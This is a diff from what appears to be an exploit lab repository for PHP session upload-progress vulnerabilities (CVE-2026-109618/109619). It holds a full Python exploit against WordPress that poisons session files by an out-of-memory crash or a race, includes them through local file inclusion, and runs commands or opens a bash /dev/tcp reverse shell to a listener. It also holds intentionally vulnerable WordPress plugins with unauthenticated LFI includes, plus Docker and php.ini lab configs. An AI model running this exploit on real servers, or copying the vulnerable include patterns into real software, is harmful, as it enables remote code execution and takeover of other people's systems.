%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
""")
p.add_argument("--target", "-t", required=True,
help="Target URL (PHP endpoint with session_start())")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
p.add_argument("--trigger-only", action="store_true",
help="Inject code into session file only — no inclusion/RCE")
p.add_argument("--lfi-param", default="",
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
p.add_argument("--session-path", default="",
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
p.add_argument("--race", action="store_true",
help="Race condition mode — works with cleanup=1 (default config)")
p.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default 3)")
args = p.parse_args()
if not args.trigger_only and not args.cmd and not args.lhost:
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
sys.exit(1)
run(args.target, args.lhost, args.lport, args.trigger_only,
args.cmd, args.lfi_param, args.session_path, args.attempts,
race=args.race)
if __name__ == "__main__":
main()
-9
View File
@@ -1,9 +0,0 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
echo "pid=$pid sid=" . session_id() . "\n";
+9
View File
@@ -0,0 +1,9 @@
# Single-worker prefork for reliable exploitation.
# The exploit requires A and B requests to hit the same worker.
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
MaxConnectionsPerChild 0
</IfModule>
+21
View File
@@ -0,0 +1,21 @@
services:
target:
image: php:8.4.26-apache
container_name: php2shell-uaf-target
ports:
- "127.0.0.1:8089:80"
volumes:
- ./php.ini:/usr/local/etc/php/php.ini:ro
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
- ./html:/var/www/html:rw
restart: unless-stopped
stock:
image: php:8.4.26-apache
container_name: php2shell-uaf-stock
ports:
- "127.0.0.1:8093:80"
volumes:
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
- ./html:/var/www/html:ro
restart: unless-stopped
+3
View File
@@ -0,0 +1,3 @@
<?php
// Any PHP page works. session_start() is NOT required.
echo "OK";
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 8M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 128M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+7
View File
@@ -0,0 +1,7 @@
; Minimal config for the UAF RCE exploit lab.
; Most settings match the stock php:8.4.26-apache defaults.
display_errors = On
memory_limit = 8M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+1072
View File
File diff suppressed because it is too large Load Diff
-492
View File
@@ -1,492 +0,0 @@
#!/usr/bin/env python3
"""
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
Demonstrates both PHP session upload progress vulnerabilities against a
WordPress target that has:
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
Two attack modes:
OOM mode (CVE-2026-109618)
Floods multipart fields to OOM PHP during parsing. zend_bailout()
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
session file with PHP code persists on disk. Second request
includes it via LFI. Works with session.upload_progress.cleanup=1.
Race mode (CVE-2026-109619)
Sends a slow multipart upload that keeps the session file populated
while concurrent LFI requests race to include it before cleanup.
Works with session.upload_progress.cleanup=1. Lower field count,
no OOM needed.
Usage:
# OOM mode (default) — 'id' command
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
# Race mode — reverse shell
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
--lhost 10.0.0.1 --lport 4444
# Custom LFI parameter and session path
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
--lfi-param dt_template --session-path /tmp/php-sessions
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
WP_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
WP_LFI_PARAMS = [
"dt_template",
"page",
"template",
"file",
"tpl",
"include",
"path",
]
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
OOM_FIELD_SIZE = 1024
OOM_FIELDS_64M = 40000
OOM_FIELDS_128M = 80000
# ─── HTTP / multipart helpers ────────────────────────────────────────
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def http_get(host, port, tls, path, headers=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── payload builders ────────────────────────────────────────────────
def build_payload(args):
if args.trigger_only:
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
if args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
session_paths, fields, fsize, args):
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Building {fields} × {fsize}B field payload...")
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
sc = status_code(resp)
if sc == 502 or sc == 0:
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
print(f" OOM during parsing — session cleanup skipped")
elif sc == 500:
print(f" [+] HTTP 500 — OOM during script execution")
else:
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
return False
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(2)
for i in range(10):
try:
r = http_get(host, port, tls, path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(f" New worker ready")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available")
return False
# Phase 2: LFI
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = tcp_connect(host, port, tls)
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(head)
chunk = b"\x00" * 4096
sent, start = 0, time.time()
try:
while sent < file_size and (time.time() - start) < duration:
sock.sendall(chunk[:min(4096, file_size - sent)])
sent += min(4096, file_size - sent)
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def attack_race(host, port, tls, path, php_code, lfi_param,
session_paths, attempts, args):
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
lfi_sid = os.urandom(16).hex()
print(f"[+] Upload SID: {sid}")
print("[*] Starting slow upload (keeps session file alive)...")
t = threading.Thread(target=slow_upload,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True)
t.start()
time.sleep(0.3)
print("[*] Racing LFI requests against upload...")
for i in range(150):
if not t.is_alive():
break
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
timeout=3)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f"\n[+] Race won on iteration {i+1}")
print_result(output, args)
return True
except:
pass
time.sleep(0.02)
t.join(timeout=2)
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
return False
# ─── LFI phase (shared) ─────────────────────────────────────────────
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
print()
print("[*] Phase 2: including poisoned session file via LFI...")
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f" Session file: {sess}")
print_result(output, args)
return True
except:
continue
print(" [!] Session file not found via LFI")
print(f" Tried: {', '.join(session_paths)}")
return False
def extract_output(body_text, args):
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
return m.group(1) if m else body_text[:200]
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
return m.group(1).strip()
if "upload_progress_" in body_text:
return ""
return body_text[:500]
return ""
def print_result(output, args):
if args.trigger_only:
print()
print("[+] Code execution confirmed!")
print(f" {output}")
elif args.cmd:
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved!")
else:
print()
print("[+] Payload delivered — check your listener")
# ─── auto-detect ─────────────────────────────────────────────────────
def detect_lfi_param(host, port, tls, path, params):
for param in params:
try:
url = f"{path}?{param}=/etc/hostname"
resp = http_get(host, port, tls, url, timeout=5)
sc = status_code(resp)
rbody = body_of(resp)
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
return param
except:
continue
return None
# ─── main ────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target:8080/ --cmd 'id'
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target:8080/ --trigger-only
""")
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability without payload")
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
ap.add_argument("--session-path", help="session.save_path on target")
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
ap.add_argument("--attempts", type=int, default=5,
help="Race mode attempts (default 5)")
args = ap.parse_args()
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if not path.endswith("/") and "." not in path.split("/")[-1]:
path += "/"
php_code = build_payload(args)
sid = os.urandom(16).hex()
spaths = list(WP_SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
print("=" * 65)
print(f" WordPress RCE — {cve}")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Mode : {args.mode}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Phase 0: verify target
print("[*] Checking target...")
try:
r = http_get(host, port, tls, path, timeout=5)
sc = status_code(r)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — WordPress alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# Auto-detect LFI param
lfi_param = args.lfi_param
if not lfi_param:
print("[*] Auto-detecting LFI parameter...")
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
if lfi_param:
print(f" [+] Found: {lfi_param}")
else:
print(" [!] No LFI param detected. Specify --lfi-param")
sys.exit(1)
print()
if args.mode == "oom":
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
spaths, args.fields, args.field_size, args)
else:
ok = attack_race(host, port, tls, path, php_code, lfi_param,
spaths, args.attempts, args)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()
-34
View File
@@ -1,34 +0,0 @@
<?php
/**
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
* LFI vulnerability. Represents plugins like WooCommerce session
* handlers, theme builders with template inclusion, etc.
* Version: 1.0.0
*
* Install as mu-plugin:
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
*
* This plugin:
* 1. Calls session_start() on every request (like WooCommerce, etc.)
* 2. Has a template include that accepts user input (like theme builders)
* 3. Registers an AJAX endpoint accessible to unauthenticated users
*/
// Start PHP sessions (common in e-commerce/analytics plugins)
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Register an unauthenticated AJAX handler with LFI
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
add_action('wp_ajax_analytics_render', 'analytics_render_template');
function analytics_render_template() {
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// Vulnerable: no path validation on template parameter
if (file_exists($template)) {
include($template);
}
wp_die();
}
@@ -1,80 +0,0 @@
<?php
/**
* Plugin Name: Developer Toolkit
* Description: Development and debugging utilities for WordPress developers.
* Version: 2.1.0
* Author: DevTools Team
* License: GPL-2.0+
*
* Provides template preview, log viewer, and diagnostic tools for development.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
// Register admin page
add_action( 'admin_menu', function() {
add_management_page(
'Developer Toolkit',
'Dev Toolkit',
'manage_options',
'dev-toolkit',
'devtoolkit_admin_page'
);
});
// Template preview (simulates common theme/template preview plugins)
add_action( 'template_redirect', function() {
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
$template = sanitize_text_field( $_GET['dt_preview'] );
if ( file_exists( $template ) ) {
include $template;
exit;
}
}
});
// AJAX log viewer endpoint (common in debug/logging plugins)
add_action( 'wp_ajax_dt_view_log', function() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized' );
}
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
if ( $logfile && is_readable( $logfile ) ) {
header( 'Content-Type: text/plain' );
readfile( $logfile );
exit;
}
wp_die( 'File not found' );
});
// Front-end template include (no auth required - simulates broken plugin)
add_action( 'init', function() {
if ( isset( $_GET['dt_template'] ) ) {
$tpl = $_GET['dt_template'];
// "Sanitization" that doesn't prevent path traversal
$tpl = str_replace( "\0", '', $tpl );
if ( file_exists( $tpl ) ) {
include $tpl;
exit;
}
}
});
// Session-based features (simulates WooCommerce/forms using sessions)
add_action( 'init', function() {
if ( ! session_id() ) {
session_start();
}
});
function devtoolkit_admin_page() {
echo '<div class="wrap"><h1>Developer Toolkit</h1>';
echo '<p>Development utilities for debugging and testing.</p>';
echo '<h2>PHP Info</h2>';
echo '<p>Session ID: ' . session_id() . '</p>';
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
echo '</div>';
}